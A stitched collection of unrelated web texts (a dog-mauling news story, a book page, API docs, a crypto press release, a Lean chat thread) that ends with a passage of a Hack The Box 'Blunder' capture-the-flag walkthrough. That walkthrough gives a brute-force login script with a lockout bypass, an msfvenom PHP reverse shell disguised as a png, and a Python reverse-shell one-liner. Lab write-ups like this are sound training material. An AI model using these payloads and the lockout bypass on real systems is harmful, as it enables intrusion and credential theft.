PHEW: The Staffy Who Mauled A Daschund In Melb Park Incident Will Not Be Put Down
by By Melissa MasonHero, the Staffy dog who fatally mauled a daschund after it allegedly ran at him in a Pakenham park will not be put down, following an investigation by the local council.
The shocking incident made headlines after the daschund’s owner, Kashila Chintamunnee, posted photos of the mauling to Facebook. She claimed her three dogs escaped her backyard and ran over to the park, where they were viciously attacked by Hero.
The Cardinia Council in Melbourne began an investigation into the incident, after Ms Chintamunnee informed them of what happened.
However, since then a second story about the incident emerged, as Hero’s owner Claudia Harrison claimed she was walking Hero on a lead with her son, when the three dogs attacked Hero – she allegedly tried to protect her son while separating the dogs, but was unable to do so effectively.
A spokeswoman from the Cardinia Council told the Cranbourne Leader that no further action would be taken over the incident, and that the “thorough investigation” was closed. This means Hero will not be put down, a potential outcome that generated over 285,000 signatures on a Change.org petition as people rallied together to protect the Staffy.
Michael Faltermaier, a lawyer for the Harrison family, made a statement to the newspaper as well.
“He is indeed a Hero and had to act to protect his owners. It is a timely reminder that our pets are like our children and we need to know where they are at all times. Hero is safe, saved and acknowledged for his heroic efforts as he should be.”
Ms Chintamunnee has not made a statement to media.


--- layout: post title: Domain-Driven Design by Eric Evans date: 2010-10-19 07:00:00.000000000 -06:00 type: post published: true status: publish categories: - Book tags: - Book - DDD - Eric Evans meta: _gcid: '260' _edit_last: '3113' _wp_page_template: default _bitly_trim: http://dddcommunity.org/?p=107 _intro_custom_banner: a:1:{s:3:"url";s:0:"";} _intro_text: default _custom_background: a:5:{s:3:"url";s:0:"";s:16:"background-color";s:0:"";s:17:"background-repeat";s:6:"repeat";s:21:"background-attachment";s:6:"scroll";s:19:"background-position";s:8:"left top";} _dependencies: s:6:"a:0:{}"; U_S_C_message: '' _thumbnail_id: '1359' _encloseme: '1' author: login: Eric Evans email<EMAIL_ADDRESS>display_name: Eric Evans first_name: Eric last_name: Evans ---
Domain-Driven Design: Tackling Complexity in
the Heart of Software
by Eric Evans
Publisher: Addison-Wesley;
ISBN: 0-321-12521-5
Google book search link
[info_box]Look Inside: Foreword by Martin Fowler; Table of contents; Preface; Part I intro; Chapter 1; Part II intro; Part III intro; Part IV intro;[/info_box]
This book provides a broad framework for making design decisions and a technical vocabulary for discussing domain design. It is a synthesis of widely accepted best practices along with the author's own insights and experiences. Projects facing complex domains can use this framework to approach domain-driven design systematically.
Many people have employed domain-driven design in some form, but it will be made more effective with a systematic approach and a shared vocabulary.
You are invited to send email to the author.
[divider]
Japanese translation just released!
[divider]
Also available in Chinese领域驱动设计


For these exercises, you should follow the instructions in fafirical/typescript-starter. Push your code up to your fork when you're done, and submit the link to your GitHub repository.
Modularize the code you've written in the previous exercises.
Start by breaking out your ATM class into a separate file, named "Atm.ts" (in the "src" folder). Export it from this file so you can use it elsewhere.
In your "index.ts" file, use (and test) the ATM class. Create some accounts, deposit some money, withdraw some money, etc. Go wild.
Create an interface for your ATM class in "AtmInterface.ts". Export it and have your ATM class (in "Atm.ts") implement it.
Update your ATM class method to allow only "savings" and "checking" account types to be created. (Tip: you can use string literal types for this)


7
The woman's lover speaking to her
1 You, the daughter of a prince,
have lovely feet in your sandals.

Your eyes sparkle the pools in the city of Heshbon,
near the Bath Rabbim Gate.

When I kiss you, the woman who loves me,
I want it to be as if it was wine flowing over our mouths and teeth.
The young woman speaking to her lover
10 I belong to the man who loves me,
and he desires me.
11 You who love me, let us go to the countryside,
and sleep in a village somewhere.
12 And let us go early to the vineyards
to see if the grapevines have budded
and if there are blossoms on them that have opened,
and see if the pomegranate trees are blooming,
and there I will allow you to make love to me.
13 The mandrake plants are producing a fragrant odor,
and we are surrounded by delightful pleasures,
new ones and old ones,
pleasures that I have been saving to give to you, the man who loves me.


Robert James Bucknam
Republican
Engineering Project Manager at Medtronic.
United States Military Academy at West Point: Bachelor's of Science (Mechanical Engineering) University of Notre Dame: Master's of Business Administration University of Denver: Current JD Candidate at Sturm College of Law
80303
I have not had any past political activity. I think that I donated a small amount to the Ted Cruz campaign in the 2016 election, but I cannot remember the amount.
United States Army (Honorable discharge July, 2015) Indiana National Guard (Honorable discharge January, 2018) William E. Doyle Inn of Court (Current)
As a combat officer, my job was to organize my soldiers in such a way as to be as effective as possible. The strongest aspects of each had to be highlighted. I had to consider the interests of each subordinate team and group as I did. At times, these subordinate teams consisted of detachments from whole different parts of the military altogether. Organizing campaigns here required a great deal of listening, understanding, proposing solutions, organizing a team around those solutions, then advocating for those solutions to other officers and groups. The outcome may be granting a particular mission or allowing a specific plan to move forward, but it required a great deal of organizing around the interests of disparate parties in order to do so.
I would like to serve on this commission simply to serve my state and its citizens. We live in a great place, and it is absolutely vital that every Coloradan be heard. We live in a state with a wide array of needs, goals, and desires. From mountain towns to bustling metropolitan areas, we are different, but we are also the same people. I believe in the importance of ensuring that each of our citizens not only has a voice in how our state moves forward into the next decade, but I think that it is imperative that we know we have that voice. I simply want to help our citizens know that in Colorado, you can be heard and you can make a difference. I have served the people of this state before in the military, and I hope to be able to do so again here.
I will promote consensus and create agreement by first listening, striving to understand the different interests and goals of the parties involved, and then proposing solutions that incorporate feedback and meet the needs of all involved to the greatest extent possible. In my job as a project manager, I currently work at the nexus of a host of cross-functional teams with different interests, goals, incentives, and desired outcomes. My job is to put all that together and build a coalition around a path forward that only helps all parties. I will bring those skills to this commission. Ultimately, anything that this commission comes up with must be as fair and impartial as possible. That is what the people of Colorado deserve. As a military officer, I not only had to be fair to each soldier, but I had to promote impartiality when we worked with other teams, other military units, and other organizations. The same can be said in my current job. Even beyond the workplace, though, the members of this commission will have to be impartial in a whole new way. They will have to balance the needs of ranchers, downtown business owners, and suburban families. This state incorporates people of every economic status, racial background, and orientation, but all of us must be fairly represented. It is incumbent on a representative government to ensure that its citizens – no matter who they are – are heard. With a task like this, impartiality is a duty incumbent on each member of the commission, and I can most assuredly uphold that duty.
My education, in particular, has helped me develop my analytical skills. I learned through my engineering and business degrees how to use mathematical analytics to understand and solve complex data problems. Additionally, I am learning in the JD that I am currently pursuing at Denver Law School to apply logic to solve problems in a totally different way. Law school is showing me how to analyze issues not through math but through the lens of law, society, and justice. Between my mathematical and legal training, I believe that I have the analytical skills required for this commission.
Male


Operation Team |
Top Previous Next |
|
Operation Teams Workflow - One or more Operation Teams may be created and may consist of internal and/or external teams within your organization. Each Team that is created will have their own Team portal and all projects that are submitted to the Team will reside in the Team portal. A team member can be associated with one or more Operation Teams and may consists of internal and/or external team members within your organization. Members of the Operation Teams primary functions are: Optionally, Operation Teams Services and associated Tasks may be created and incorporated in the overall project workflow for progress tracking:
|


BufferGfx
Describes a graphics buffer. The other DMAI modules perform graphics operations on instances of this module. This module is a submodule of the Buffer module, and all the Buffer module functions can also be used on a BufferGfx instance. Typical usage below for a D1 PAL sized buffer of color type UYVY (no error checking):
More...
Data Structures |
| struct | BufferGfx_Dimensions |
| | Describes the dimensions of a graphics Buffer. More...
|
| struct | BufferGfx_Attrs |
| | Describes the attributes used to create a BufferGfx instance. More...
|
Typedefs |
| typedef struct BufferGfx_Dimensions | BufferGfx_Dimensions |
| | Describes the dimensions of a graphics Buffer.
|
| typedef struct BufferGfx_Attrs | BufferGfx_Attrs |
| | Describes the attributes used to create a BufferGfx instance.
|
Functions |
| Buffer_Attrs * | BufferGfx_getBufferAttrs (BufferGfx_Attrs *gfxAttrs) |
| | Get the basic Buffer_Attrs of a BufferGfx_Attrs structure.
|
| Int32 | BufferGfx_calcSize (VideoStd_Type videoStd, ColorSpace_Type colorSpace) |
| | Calculate the size of a Buffer given a VideoStd_Type and a ColorSpace_Type.
|
| Int32 | BufferGfx_calcSizeDim (BufferGfx_Dimensions *dimPtr, ColorSpace_Type colorSpace) |
| | Calculate the size of a Buffer given BufferGfx_Dimensions and a ColorSpace_Type.
|
| Int | BufferGfx_calcDimensions (VideoStd_Type videoStd, ColorSpace_Type colorSpace, BufferGfx_Dimensions *dimPtr) |
| | Calculate the dimensions of a Buffer given a VideoStd_Type and a ColorSpace_Type.
|
| Int32 | BufferGfx_calcLineLength (Int32 width, ColorSpace_Type colorSpace) |
| | Calculate the line length (pitch) of a Buffer given a ColorSpace_Type.
|
| Int32 | BufferGfx_getFrameType (Buffer_Handle hBuf) |
| | Get the frame type of a BufferGfx instance.
|
| Void | BufferGfx_setFrameType (Buffer_Handle hBuf, Int32 frameType) |
| | Set the frame type of a BufferGfx instance,.
|
| ColorSpace_Type | BufferGfx_getColorSpace (Buffer_Handle hBuf) |
| | Get the ColorSpace_Type of a BufferGfx instance.
|
| Void | BufferGfx_setColorSpace (Buffer_Handle hBuf, ColorSpace_Type colorSpace) |
| | Set the ColorSpace_Type of a BufferGfx instance.
|
| Void | BufferGfx_getDimensions (Buffer_Handle hBuf, BufferGfx_Dimensions *dimPtr) |
| | Get the BufferGfx_Dimensions of a BufferGfx instance. If the current dimensions are not set (all fields set to 0), the original dimensions will be returned, otherwise the current dimensions are returned.
|
| Int | BufferGfx_setDimensions (Buffer_Handle hBuf, BufferGfx_Dimensions *dimPtr) |
| | Set the current BufferGfx_Dimensions of a BufferGfx instance.
|
| Void | BufferGfx_resetDimensions (Buffer_Handle hBuf) |
| | Reset the dimensions to the original create time dimensions.
|
| Int | BufferGfx_setMaxDimensions (Buffer_Handle hBuf, BufferGfx_Dimensions *dimPtr) |
| | Set the maximum dimensions of a Buffer reference.
|
Variables |
| const BufferGfx_Attrs | BufferGfx_Attrs_DEFAULT |
| | The default BufferGfx_Attrs used to create a BufferGfx instance.
|
Detailed Description
Describes a graphics buffer. The other DMAI modules perform graphics operations on instances of this module. This module is a submodule of the Buffer module, and all the Buffer module functions can also be used on a BufferGfx instance. Typical usage below for a D1 PAL sized buffer of color type UYVY (no error checking):
Typedef Documentation
Describes the dimensions of a graphics Buffer.
Function Documentation
Calculate the size of a Buffer given a VideoStd_Type and a ColorSpace_Type.
- Parameters:
-
- Return values:
-
| Size | estimation in bytes of the graphics Buffer. |
| Negative value | for failure, see Dmai.h. |
Calculate the size of a Buffer given BufferGfx_Dimensions and a ColorSpace_Type.
- Parameters:
-
| [in] | dimPtr | Dimensions of the graphics Buffer. |
| [in] | colorSpace | Color space type, see ColorSpace_Type. |
- Return values:
-
| Size | estimation in bytes of the graphics Buffer. |
Calculate the dimensions of a Buffer given a VideoStd_Type and a ColorSpace_Type.
- Parameters:
-
- Return values:
-
| Dmai_EOK | for success. |
| Negative value | for failure, see Dmai.h. |
Calculate the line length (pitch) of a Buffer given a ColorSpace_Type.
- Parameters:
-
| [in] | colorSpace | Color space type, see ColorSpace_Type. |
| [in] | width | The width to calculate the line length for. |
- Return values:
-
| Line length | as a result of the calculation. |
| Negative value | for failure, see Dmai.h. |
Get the frame type of a BufferGfx instance.
- Parameters:
-
| [in] | hBuf | Handle to the Buffer to get the frame type for. |
- Return values:
-
| Void BufferGfx_setFrameType |
( |
Buffer_Handle |
hBuf, |
|
|
Int32 |
frameType | |
|
) |
| | |
Set the frame type of a BufferGfx instance,.
- Parameters:
-
| [in] | hBuf | Handle to the graphics Buffer to get the frame type for. |
| [in] | frameType | Frane type to set the Buffer to. |
Get the ColorSpace_Type of a BufferGfx instance.
- Parameters:
-
| [in] | hBuf | Handle to the graphics Buffer to get the color space type for |
- Return values:
-
Set the ColorSpace_Type of a BufferGfx instance.
- Parameters:
-
| [in] | hBuf | Handle to the graphics Buffer to set the color space type for |
| [in] | colorSpace | ColorSpace_Type to set the Buffer to. |
Get the BufferGfx_Dimensions of a BufferGfx instance. If the current dimensions are not set (all fields set to 0), the original dimensions will be returned, otherwise the current dimensions are returned.
- Parameters:
-
| [in] | hBuf | Handle to the graphics Buffer to get the dimensions for. |
| [out] | dimPtr | Dimensions of the graphics Buffer is returned here. |
Set the current BufferGfx_Dimensions of a BufferGfx instance.
- Parameters:
-
| [in] | hBuf | Handle to the graphics Buffer to set the dimensions for. |
| [out] | dimPtr | Dimensions of the graphics Buffer to set. |
- Return values:
-
| Dmai_EOK | for success. |
| Negative value | for failure, see Dmai.h. |
Reset the dimensions to the original create time dimensions.
- Parameters:
-
| [in] | hBuf | Handle to the graphics Buffer to reset the dimensions for. |
Set the maximum dimensions of a Buffer reference.
- Parameters:
-
| [in] | hBuf | Handle to the graphics Buffer reference to set the maximum dimensions of. |
| [in] | dimPtr | Maximum dimensions to set. |
- Return values:
-
| Dmai_EOK | for success. |
| Negative value | for failure, see Dmai.h. |
Variable Documentation


AlreadyConnectedException
CapabilitySet
ConnectionClosedException
ConnectionFailedException
ConnectionRefusedException
ConnectionsFailedException
ConnectionTimedOutException
Ibis
IbisCapabilities
IbisConfigurationException
IbisCreationFailedException
IbisFactory
IbisIdentifier
IbisProperties
IbisStarter
Location
Managable
MessageUpcall
NoSuchPropertyException
PortMismatchException
PortType
ReadMessage
ReceivePort
ReceivePortConnectUpcall
ReceivePortIdentifier
ReceiveTimedOutException
Registry
RegistryEventHandler
SendPort
SendPortDisconnectUpcall
SendPortIdentifier
WriteMessage
|


Mask Network will collaborate with Layer 2 solution aggregator Polygon (formerly Matic Network), to conduct technical conversations about the current issues, such as traffic and high gas fee on Ethereum, and to focus on performance optimization in the DeFi field, to create a faster and more practical decentralized environment for users.
During Mask Network’s recent ITO of $MASK, we found that users have encountered unpleasant experiences, such as slow confirmation process and high gas fee. This has become not only a major issue for Ethereum, as the existing ecosystem cannot provide sufficient computation support, but also a challenge that open finance must overcome before it gets ready for the broader market.
Polygon proposed a solution: to simplify the interaction process between users and the decentralized world. In this collaboration, Mask Network will first integrate QuickSwap, a decentralized exchange that is part of Polygon’s ecosystem, enabling users to trade assets more quickly and with near-zero gas fee. We will then complete the integration with Polygon through joint bounty to further develop the ecosystem and explore new possibilities for operations such as payments and decentralized trading.
Our first joint bounty:
[Bounty] Integrate QuickSwap into Mask
Polygon and Mask Network have reached a deep consensus on solving the current problems open finance is facing, and hope to work together to find ways to expand the capacity of Ethereum. Please follow @0xPolygon and @realmaskbook on Twitter for more information about the collaboration!
About QuickSwap
QuickSwap is a next-generation Layer 2 decentralized trading platform that enables lightning-fast transactions with near-zero gas fee. QuickSwap is based on Ethereum, with scalability infrastructure and funding provided by Matic on Layer 2, Quickswap looks to bring permissionless decentralized trading to Layer 2, replacing Uniswap and bringing the new era of decentralized finance to Layer 2.
About Polygon (Formerly Matic Network)
Polygon is the first well-structured, easy-to-use platform for Ethereum scaling and infrastructure development. Its core component is Polygon SDK, a modular, flexible framework that supports building and connecting Secured Chains like Plasma, Optimistic Rollups, zkRollups, Validium etc and Standalone Chains like Matic POS, designed for flexibility and independence. Polygon’s Layer 2 Chains have seen widespread adoption with 100+ Dapps, ~12M txns and ~250K unique users.
If you’re an Ethereum Developer, you’re already a Polygon developer! Leverage Polygon’s fast and secure txns for your Dapp, get started here.
| Website | Telegram |
About Mask Network
Mask Network creates a decentralized application ecosystem that bridges the gap between Web 2.0 (the existing Internet) and Web 3.0 (the new open Internet) for tens of thousands of users, helping them make a seamless transition. It provides the main function of encrypting and decrypting information transmission and evolves around this function, integrating de-private social, borderless payment network, decentralized file storage and sharing, decentralized finance, and governance (DAO) to help users protect their privacy, data, assets and rights on traditional social networks such as Twitter, Facebook, etc.
Mask Network advocates that users should value their privacy, personal assets, and sovereignty, and firmly believes in an ownership economy. People should own their own creations, their own data, their own attention, and the virtual space they choose to contribute to.
| Website | Discord | Telegram |
Github https://github.com/DimensionDev
Twitter https://twitter.com/realMaskNetwork
Facebook https://www.facebook.com/masknetwork
Discord https://discord.com/invite/cKGW45g
Telegram (English) https://t.me/maskbook_group
Telegram （中文） https://t.me/masknetwork_cn


Status: Red Led is off!
Status: Green Led is off!
Status: Blue Led is off!
Status: Yellow Led is off!
Status: Purple Led is off!
Status: Pink Led is off!


--- layout: archive title: Zulip Chat Archive permalink: /stream/113488-general/topic/video.20tutorials.html ---
Inspired by @Victor Ahlquist 's question in #new members I made a video tutorial on how to solve the basic logical proposition he was asking about in both tactic mode and term mode:
https://www.youtube.com/watch?v=POHVMMG7pqE
Comments, especially constructive criticism, most welcome. It has taken me months to get round to start doing this kind of thing, but now I finally have all the hardware and software and knowledge I need, so in some sense the learning can start now.
One thing I've learnt from talking to people who know a lot more about this stuff than I do, is that apparently 10 minutes is the absolute max for stuff like this, and 5 minutes is better. I was aiming for 5 but over-ran. Still under 10 though. What am I supposed to say at the end? "Like and subscribe"?? :-)
Very nice video! I thought length was good for tactic mode, but for term mode it went slightly too fast for me at least. That might be because I haven't fully understood the lambda stuff yet though. The bracket way of proving an iff was also new to me which might have contributed to my confusion.
I was very keen on keeping it short.
Kevin Buzzard said:
One thing I've learnt from talking to people who know a lot more about this stuff than I do, is that apparently 10 minutes is the absolute max for stuff like this, and 5 minutes is better.
Why maximum 10 minutes?
Because kids your age don't watch videos which are any longer, apparently
All the MOOC lectures are 10 minutes, apparently. I am a really bad person to make these at this point because I never watch youtube videos at all; this is why I'm keen to hear from people who might actually be interested in watching them.
 He seems to only watch 10 minute videos.
Fair enough. But I would say video length around 15 min seems to be okay.
ha ha he just came downstairs to get food, so I asked him to watch my video and his first question was "how long is it?". "Ten minutes", I said. "Oh yeah I'll watch that" he said.
great video!
you might want to talk a bit more slowly.
i think when people say that 10 minutes is the maximum they mean that the entire content should fit in that time frame at a regular speed. people will also quickly lose attention if it's too fast for them.
I feel like there is a general principle, here, similar to how you would structure papers and books. Long video lectures are bad because they are difficult to index and use as a reference; a lecture is better organized if it can be subdivided into smaller self-contained topics.
I never found lecture very enjoyable :/ I can read much faster than the lecturer can speak. I can't tell my lecturer to fast-forward through the preliminary bits and then stop for 10 minutes in the middle of a difficult derivation so I can figure out what's going on.
Marc Huisinga said:
people will also quickly lose attention if it's too fast for them.
The great thing about recorded lecture is that I can rewind when I don't follow something, or continue on and come back to it if later material touches on the topic
that's true, but i personally quickly lose interest when i have to rewind the material often. i certainly do this for lectures, but i find myself doing it only very rarely with regular informational youtube videos.
alternatively one can also control the speed of the video, but i only very rarely slow videos down, not sure why. i do however often speed them up when the lecturer is talking too slowly for me to keep focused.
As a reasonable young person, I'd say:
Really great video, would love to see more! Perhaps one showcasing an area of mathlib? Depending on what your target audience is, you might consider explaining what notation like $ and <> mean, as you were more explicit when explaining the tactic mode. But maybe that's just because I'm more familiar with tactic mode. I've subscribed :big_smile:
"Thanks for watching" would be a good way to finish the video :)
I'd have expected you to use assume
instead of intro
-- I think it looks less alien to newbies and goes better with the voice explanation, e.g. "so let us assume this as a hypothesis *types 'assume hyp'*
" . Also, it would be nice if the link to the web-editor would already contain the problem statement you solve in the video :)
Another trick I missed is that I could have shown off a high-powered tactic like tauto
or whatever -- something which just closes the goal immediately.
Thanks for the video! It was nice to see someone else's thought process.
The video felt like it went by quickly. Some 3 minute Corsera videos can go on for eternity.
I'm not sure if that's a good thing or a bad thing?
After split,
you say "put some parentheses". I thought that means ()
, but you mean "braces" {}
, right? (But you are the native speaker not me... so I guess I'm just wrong.)
Also, duplicate: https://www.youtube.com/watch?v=p4IrbnPomXg
Brackets: I think this might be a UK/US English thing
Kevin Buzzard said:
I'm not sure if that's a good thing or a bad thing?
Oh, a good thing!
Just on the "kids these days watching short videos" (who cares what I think but): if I was looking up how to do something when I'm programming, I rarely watch videos (and I suppose if so short ones) because they are so information sparse---I just want a reference for some specific thing. (I mean sparse in the information I need.) Maybe I'd like some short videos if I had to learn about a collection of relatively disparate chemical reactions which I had to know about. But 10 min maths lectures would break my heart---there's no story, no soul!---because I don't want a reference, I'm generally hearing about something I have no idea about.
I didn't see this video earlier, but I guess I'm a part of the Kid demographic?
But short videos now according to YouTube are ones that are less than 4 minutes... And videos over 20 minutes are considered long.
With programming videos, I think short ones are nice, but I don't mind long ones if they're like Derek Banas' videos, so timestamps in the descriptions and a transcript that I can Ctrl-F through. The YouTube auto generated transcript is ok, but a proper one is nice (but takes a lot of effort). I've looked at the transcript from the Lean video, and it seems ok. Although Kevin saying the word "goal" is apparently difficult for YouTube.
Suggestions for the video:
Last updated: Apr 24 2020 at 19:02 UTC


The implemenation
I'm a memoryGrid linked to a memory store.
| id |
firstname |
lastname |
birthdate |
I'm a grid linked to a rest store.
I'm bound to the Wikipedia public API, so the browser will freeze on jsonp respones due to babel processing.
| title |
size |
wordcount |
timestamp |


{% extends 'layout-lab-5-a-to-z.html' %} {% block pageTitle %} Cancer - NHS.UK {% endblock %} {% block beforeContent %} {% from 'details/macro.njk' import details %} {% endblock %} {% block content %}
1 in 2 people will develop some form of cancer during their lifetime. There are many different types.


| Class |
Description |
|
Lua
|
The core class of the library. It provides public methods to manipulate a given LUA state object. |
|
LuaDebug
|
Interface for providing debug information. |
|
LuaException
|
Thrown if an error occures in the LUA subsystem. Any other exception thrown by dotLUA derives from this class. |
|
LuaFunctionArgs
|
A class which sums up high level functionality for callback routines. |
|
LuaGC
|
Contains all necessary operations to manipulate a states garbage collector. |
|
LuaLibrary
|
This attribute marks a class to be loaded as a library for LUA. A LUA library is a class which contains static methods. Any static method which fits the LuaCallbackFunction delegate is being associated to a public table named after the class. The version parameter helps a script to differ between versions of one and the same library. |
|
LuaStack
|
Allows the manipulation of a given stack frame. |
|
LuaState
|
Represents a Lua namespace state. |
|
LuaSyntaxException
|
Thrown if the LUA script has syntax errors. |
|
LuaTable
|
Represents a LUA table and provides operations to modify those. |
|
LuaTables
|
Contains a container for all tables in a given state. |
|
LuaThread
|
This class describes a couroutine as used by the LUA library. |
|
System
|
dotLUA standard library for LUA. |


Student at the Polytechnic University of Bucharest 4th year at the Applied Sciences Faculty, with a good understanding of general programming and design patterns.
Git repositories, click on the icon below:
Memory management
Data Structures and Algorithms, Design Patterns
Basic understanding of OOP concepts and design
Web frameworks, UX/UI frameworks
Git Commands
OS commands for both Unix and Windows systems
Learning and teaching Martial Arts
Ubisoft Romania
Developing a 2D game with a given engine
Developing gameplay features for the game
Debugging and testing the game
Design patterns used in the game developement insdustry
Networking, syncronizing multiple instances of the game
Managing packets, client-server and peer to peer patterns
Online services, server side
Debugging, load testing, scaling web services
Learning and using Ubisoft APIs
Gameloft Romania
Testing company products and making sure that they meet required specs
Monitoring network packages
Communication with other test teams worldwide via Skype
Communication with the development teams via mail Thunderbird for any noticed issues
Organization via Google Docs
Surveillance on all online systems and features
I have a serious passion for Martial Arts (Wushu Chinese Style), I love to train as often and hard as I can.
Home I like watching a good Sci-Fi series, Cartoons, tech Channels and Documentary series.


The following element should have a color set to magenta set via css variable defined at the global level:
Note: as you can see, --card-title-color becomes effectible part of the public API of <business-card> element
--card-title-color
<business-card>


A fresh installation has a limited functionality only.
Find the section "Add-ons" in the top navigation bar and extend your openHAB installation. Choose from over 300 addons.
An addon that enables you to use a physical device is called a binding.
A fresh installation has a limited functionality only.
Find the section "Add-ons" in the top navigation bar and extend your openHAB installation. Choose from over 300 addons.
An addon that enables you to use a physical device is called a binding.


Some other descriptive text. Adress or Email?
First name
M
Last name
Your email adress
What is this payment for?


Record Data
This record is similar to the .WKS NGRAPH record, except that the first 13 references are not written. Instead, there are 13 integers indicating whether the references X, A– F, and Data Label A– F are defined.


Blunder
Enumeration
NMAP
Let’s start with the following nmap execution
nmap -sS -sV -sC -p 1-10000 -oA nmap.res -v blunder.htb
It then yielded the following result.
# Nmap 7.80 scan initiated Sun Sep 13 13:55:12 2020 as: nmap -sS -sV -sC -p 1-10000 -oA nmap.res -v blunder.htb
Nmap scan report for blunder.htb (<IP_ADDRESS>)
Host is up (0.29s latency).
Not shown: 9998 filtered ports
PORT STATE SERVICE VERSION
21/tcp closed ftp
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: A0F0E5D852F0E3783AF700B6EE9D00DA
|_http-generator: Blunder
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Blunder | A blunder of interesting facts
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Sep 13 13:57:23 2020 -- 1 IP address (1 host up) scanned in 130.83 seconds
It turns out that the webserver is the only opened port. Let’s enumerate it.
Web Pages Enumeration
Upon visiting the website, here is the home page.
At a first look, it’s seems to be a blog website with quite a few links around it. Let’s do web files/dirs enumeration against it using ffuf
FFUF Result using dirb/common.txt
Let’s run ffuf fuzzer against it to discover some web files or hidden directories. Let’s look for .php
,.txt
, and .html
files.
$ ffuf -w /usr/share/wordlists/dirb/common.txt -e .php,.html,.txt -u http://blunder.htb/FUZZ -o ffuf-res.txt
By running the following command, we can check what files or directories found by the fuzzer.
$ python3 -m json.tool ffuf-res.txt | grep "FUZZ.*$" -o
FUZZ -o ffuf-res.txt",
FUZZ": ".html"
FUZZ": ""
FUZZ": ".hta"
FUZZ": ".php"
FUZZ": ".hta.php"
FUZZ": ".htaccess.txt"
FUZZ": ".hta.html"
FUZZ": ".hta.txt"
FUZZ": ".htaccess"
FUZZ": ".htaccess.html"
FUZZ": ".htaccess.php"
FUZZ": ".htpasswd"
FUZZ": ".htpasswd.php"
FUZZ": ".htpasswd.html"
FUZZ": ".htpasswd.txt"
FUZZ": "0"
FUZZ": "about"
FUZZ": "admin"
FUZZ": "cgi-bin/"
FUZZ": "install.php"
FUZZ": "LICENSE"
FUZZ": "robots.txt"
FUZZ": "robots.txt"
FUZZ": "server-status"
FUZZ": "todo.txt"
FUZZ",
FUZZ",
FUZZ -o ffuf-res.txt",
We can see some interesting files in here but we are only interested at todo.txt
and /admin
Username in todo.txt
Let’s check todo.txt
.
It seems that a person named fergus
is part of the development team. It can be a potential username late for bruteforcing credentials if needed.
Bludit Page through /admin
Another thing to look at is the /admin
. Upon visiting, we are greeted with this page.
We’ve got a possible username earlier! We just have to find the password.
Bruteforcing Login Bludit With Custom Wordlist
Getting All Alnum Strings From Homepage
We will use the alphanumerical strings we have from the homepage html and create a custom password wordlist from it. We can use the following commands to do just that.
$ curl http://blunder.htb/ | grep -P "[a-zA-Z0-9]+" -o | sort -u | uniq > wordlist.txt
Bruteforcing to Bludit Login
Now that we have a username and a password list, let’s create a bruteforcing script for bludit login. Also, we need to be careful about the bruteforce mitigation done by the bludit.
Bypassing The Bruteforce Mitigation
There is an existing script for bruteforce mitigation bypass. Can be found here. It’s cool! Please, give it a read :D. (TL;DR - X-Forwarded-For header is being checked if is set and thus used for locking out. It can be spoofed thus the lockout count goes to the spoofed IP instead of our original IP).
Let’s try it!
python3 bruteforce.py users.txt wordlist.txt
Note: I modified the original code to accept a users list file and passwords list file and then submit the contents. If you want to check it out, you can go here.
After a while, we got this
...
[*] Trying: fergus:resolution
[*] Trying: fergus:resolutions
[*] Trying: fergus:Richard
[*] Trying: fergus:Right
[*] Trying: fergus:Robots
[*] Trying: fergus:RolandDeschain
SUCCESS: Password found!
Use fergus:RolandDeschain to login.
Let’s check the credentials.
It worked!
Bludit Vulnerability
Directory Traversal Vulnerability + File Upload
It turns out this version of Bludit is vulnerable to Directory Traversal and File Upload. The POC can be found here
Creating a PHP Reverse Payload To Be uploaded and .htaccess
Once we downloaded the file, we have to craft PHP Reverse Shell to be uploaded with an extension of png
. To craft:
msfvenom -p php/reverse_php LHOST=<IP_ADDRESS> LPORT=4444 -f raw -b '"' > bg2.png
echo -e "<?php $(cat bg2.png)" > bg2.png
Now, we need to create the .htaccess to execute png files as php files. To create:
echo "RewriteEngine off" > .htaccess
echo "AddType application/x-httpd-php .png" >> .htaccess
These instructions are also available at the POC script.
Setting up POC
Now, we have to set the stuff inside the POC script. Set the following:
...
url = 'http://blunder.htb'
username = 'fergus'
password = 'RolandDeschain'
Executing POC
Set Netcat Listener
Set a Listener for our reverse shell:
$ nc -lvp 4444
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on <IP_ADDRESS>:4444
Execute the Python POC Script
The first line is the execution and the following are the result.
$ python3 48701.py
cookie: 88idvf1680258henlbbtv5dj35
csrf_token: f5781f263dbc70342153aef5aa39d9aed33f71cb
Uploading payload: bg2.png
Uploading payload: .htaccess
Now, we have to trigger the reverse shell.
Triggering Reverse Shell
To trigger our payload, we have to go to /bl-content/tmp/temp/bg2.png
. After that, we should be able to receive a shell to our netcat listener.
$ nc -lvp 4444
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on <IP_ADDRESS>:4444
Ncat: Connection from <IP_ADDRESS>.
Ncat: Connection from <IP_ADDRESS>:60720.
Reverse Shell For Better TTY Using Python3
After receiving the shell, we will have a limited tty. Let’s spawn a better tty. Let’s another netcat listener.
nc -lvp 5555
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::5555
Ncat: Listening on <IP_ADDRESS>:5555
And at out current shell, we’ll use the following python command:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<IP_ADDRESS>",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
And here is what we should be receiving from our new netcat listener.
$ nc -lvp 5555
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::5555
Ncat: Listening on <IP_ADDRESS>:5555
Ncat: Connection from <IP_ADDRESS>.
Ncat: Connection from <IP_ADDRESS>:57214.
bash: cannot set terminal process group (1096): Inappropriate ioctl for device
bash: no job control in this shell
www-data@blunder:/var/www/bludit-3.9.2/bl-content/tmp/temp$
Now we have a better tty!
Privesc Enumeration as www-data
Let’s just snoop around in our web directory. After snooping around, we can actuall get 2 password hashes.
Password hash in bludit-3.9.2/bl-content/databases
We can get that password hash from /var/www/bludit-3.9.2/bl-content/databases/users.php
www-data@blunder:/var/www/bludit-3.9.2/bl-content/databases$ cat users.php
cat users.php
